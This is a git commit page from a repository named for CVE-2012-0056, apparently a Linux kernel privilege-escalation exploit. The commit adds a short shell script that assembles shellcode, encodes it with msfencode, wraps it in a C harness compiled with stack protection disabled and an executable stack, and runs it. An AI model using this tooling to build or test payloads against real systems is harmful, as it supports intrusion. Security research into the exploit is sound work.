summaryrefslogtreecommitdiffstats
path: root/build-and-run-shellcode.sh
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-01-22 06:16:39 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-01-22 06:16:39 +0100
commit14b33f1b7c5c761cc089dede4fa6aeb187ff66ac (patch)
treedf5f2aed70c872d7bc3059e2dc6de6c78fb17f90 /build-and-run-shellcode.sh
parentAdd custom 64bit shellcode and preserve stderr. (diff)
downloadCVE-2012-0056-14b33f1b7c5c761cc089dede4fa6aeb187ff66ac.tar.xz
CVE-2012-0056-14b33f1b7c5c761cc089dede4fa6aeb187ff66ac.zip
Add 32bit shellcode.
Diffstat (limited to 'build-and-run-shellcode.sh')
-rwxr-xr-xbuild-and-run-shellcode.sh6
1 files changed, 6 insertions, 0 deletions
diff --git a/build-and-run-shellcode.sh b/build-and-run-shellcode.sh
new file mode 100755
index 0000000..0a8a34b
--- /dev/null
+++ b/build-and-run-shellcode.sh
@@ -0,0 +1,6 @@
+#!/bin/sh
+if [ "$1" == "32" ]; then
+ nasm -o /dev/stdout shellcode-32.s | msfencode4.0 -t c -e generic/none -b '\x00' > harness.c && echo "void main() { (*(void(*)())buf)(); }" >> harness.c && gcc -m32 -fno-stack-protector -z execstack -o harness harness.c && ./harness
+else
+ nasm -o /dev/stdout shellcode-64.s | msfencode4.0 -t c -e generic/none -b '\x00' > harness.c && echo "void main() { (*(void(*)())buf)(); }" >> harness.c && gcc -fno-stack-protector -z execstack -o harness harness.c && ./harness
+fi